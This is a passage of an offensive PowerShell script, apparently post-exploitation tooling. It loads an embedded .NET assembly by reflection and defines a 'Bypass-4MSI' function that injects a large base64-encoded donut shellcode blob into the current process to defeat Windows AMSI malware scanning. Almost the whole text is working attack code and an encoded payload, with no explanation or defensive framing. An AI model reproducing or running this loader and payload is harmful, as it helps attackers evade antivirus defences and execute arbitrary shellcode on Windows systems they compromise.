0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
[System.Reflection.Assembly]::Load($bytes) | Out-Null
$base64 = $donutfile
[array]$array = $process_id,$Base64
[ShellcodeTest.Program]::Main($array)
}
}
function show-methods-loaded {$global:showmethods}

Function Bypass-4MSI {


if (([IntPtr]::Size) -eq 4) { "Sorry, this function only work on x64 :(" } else {
donut-loader -process_id $pid -donutfile "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